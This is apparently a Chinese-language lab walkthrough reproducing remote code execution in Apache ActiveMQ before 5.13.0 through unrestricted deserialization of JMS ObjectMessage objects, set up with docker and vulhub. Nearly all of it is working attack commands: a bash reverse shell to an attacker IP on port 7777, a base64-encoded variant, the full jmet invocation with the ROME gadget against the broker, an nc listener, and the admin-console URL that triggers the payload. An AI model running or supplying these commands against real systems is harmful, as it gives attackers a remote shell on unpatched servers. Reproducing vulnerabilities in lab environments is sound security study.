前言
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
步骤
搭建环境:docker+vulhub
1.下载jmet的jar文件,并在同目录下创建一个external文件夹
链接:https://github.com/matthiaskaiser/jmet/releases
2.构造payload
反弹shell:
bash -i >& /dev/tcp/10.18.100.22/7777 0>&1
使用base64编码绕过java的机制:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xOC4xMDAuMjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
执行payload:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xOC4xMDAuMjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 10.18.100.52 61616
生成的消息:kali-40743-1579678001148-0:1
3.在攻击机上设置监听
nc -lvp 7777
然后访问http://10.18.100.52:8161/admin/browse.jsp?JMSDestination=event
点击刚刚生成的消息,触发payload
之后回到攻击机可以获得shell